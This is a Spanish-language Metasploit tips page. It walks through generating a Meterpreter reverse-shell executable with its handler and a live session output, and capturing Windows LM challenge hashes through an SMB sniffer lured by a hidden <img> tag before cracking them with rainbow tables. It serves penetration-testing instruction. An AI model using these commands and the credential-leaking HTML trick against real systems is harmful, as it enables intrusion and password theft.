Metasploit/TipsyTrucos
Tips y Trucos para Metasploit Framework
Extracto
editarSi escribe exploits o usa Metasploit Framework, hay numerosos trucos disponibles para el usuario final.
Escribiendo Exploits
editar- ¿Inseguro sobre qué caracteres pueden ser filtrados? Use la función Rex::text.charset_exclude( badchars ):
shellcode = Rex::text.charset_exclude( payload_badchars ) buf[scloc] = shellcode buf[jmploc] = [ target['Rets'][0] ].pack('V')
Fije en el depurador una pausa donde se localiza el salto(jump) y revise los caracteres en su salida. (Agregar captura de pantalla)
- Las técnicas de evasión se aplican mejor, después de la verificación de la explotabilidad.
- Algunos payloads pueden no trabajar correctamente en cada exploit, intenta varios payloads después de que tengas flujo de ejecución.
Usando Exploit-less Handlers (Payloads Ejecutables)
editarEn algún punto durante el uso de Metasploit necesitará ejecutar un payload sin un exploit. Esto es posible con el uso del modulo multi/handler exploit.
Paso 1. Generar su payload ejecutable:
$ msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.1 X > met-reverse.exe
paso 2. Iniciar el multi/handler a la escucha:
msf > use multi/handler msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LHOST 192.168.1.1 LHOST => 192.168.1.1 msf exploit(handler) > exploit [*] Started reverse handler [*] Starting the payload handler...
Paso 3. Ejecutar el ejecutable e interactuar:
msf exploit(handler) > exploit [*] Started reverse handler [*] Starting the payload handler... [*] Transmitting intermediate stager for over-sized stage...(89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (81931 bytes)... [*] Upload completed. [*] Meterpreter session 1 opened (192.168.1.1:4444 -> 192.168.1.2:1060) meterpreter >
LM Half-Challenge
editarOriginalmente publicada aquí - Usando las Free Rainbow Tables HALFLMCHALL Tables y una versión modificada del modulo exploit smb_sniffer de Metasploit 2.7, obtener y crackear los desafios LM nunca fue tan fácil.
Paso 1. Usar Metasploit 2.7 (por ahora) y la actualización del exploit smb_sniffer.pm. Este no funciona sobre una plataforma Windows.
Paso 2. Desempaquetar Msf2.7 y colocar smb_sniffer.pm en el directorio exploits, reemplazando la versión antigua.
Paso 3. Configura tu Metasploit y ejecutalo como root
framework-2.7 $ sudo ./msfconsole Password: o 8 o o 8 8 8 ooYoYo. .oPYo. o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8 o8P 8' 8 8 8oooo8 8 .oooo8 Yb.. 8 8 8 8 8 8 8 8 8 8 8. 8 8 8 'Yb. 8 8 8 8 8 8 8 8 8 8 `Yooo' 8 `YooP8 `YooP' 8YooP' 8 `YooP' 8 8 ..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..: ::::::::::::::::::::::::::::::::::8::::::::::::::::::::::: :::::::::::::::::::::::::::::::::::::::::::::::::::::::::: + -- --=[ msfconsole v2.7 [161 exploits - 76 payloads] msf > use smb_sniffer msf smb_sniffer > show options Exploit Options =============== Exploit: Name Default Description -------- ------- ------------ ----------------------------------------------- optional KEY �"3DUfw� The Challenge key optional PWFILE The PWdump format log file (optional) optional LOGFILE smbsniff.log The path for the optional log file required LHOST 0.0.0.0 The IP address to bind the SMB service to optional UID 0 The user ID to switch to after opening the port required LPORT 139 The SMB server port Target: Targetless Exploit msf smb_sniffer > set PWFILE=/tmp/pwtest.txt PWFILE=/tmp/pwtest.txt: msf smb_sniffer > exploit [*] Listener created, switching to userid 0 [*] Starting SMB Password Service
Paso 4. Hacer que alguien se conecte a tu servidor. Puede ser tan simple como "dir \\ip_del_server\share" o "<img src=\\ip_del_server\share\file.gif height=0 width=0>" en una página HTML. Windows procurará hacer la conexión y enviar las credenciales del usuario que se conecta a tu servidor que espera.
Paso 5. Toma tu nuevo archivo pwtest.txt y copialo a una máquina que tenga Cain & Abel con las tablas HALFLMCHALL.
Paso 6. Selecciona el hash que quieres crackear, clic derecho y selecciona Cryptanalysis Attack->HALFLM Hashes + challenge->via RainbowTables, añade las tablas y listo!
Advertencias
- Solamente hashes LANMAN se puede obtener de esta manera. Si el cliente deniega LM entonces no funciona.
- Solamente los primeros 7 caracteres están en las tablas. Tienes que usar fuerza bruta para el resto.
- Las tablas en total son de 54 GB. Tomará un cierto tiempo para cargarlas en memoria y para buscar.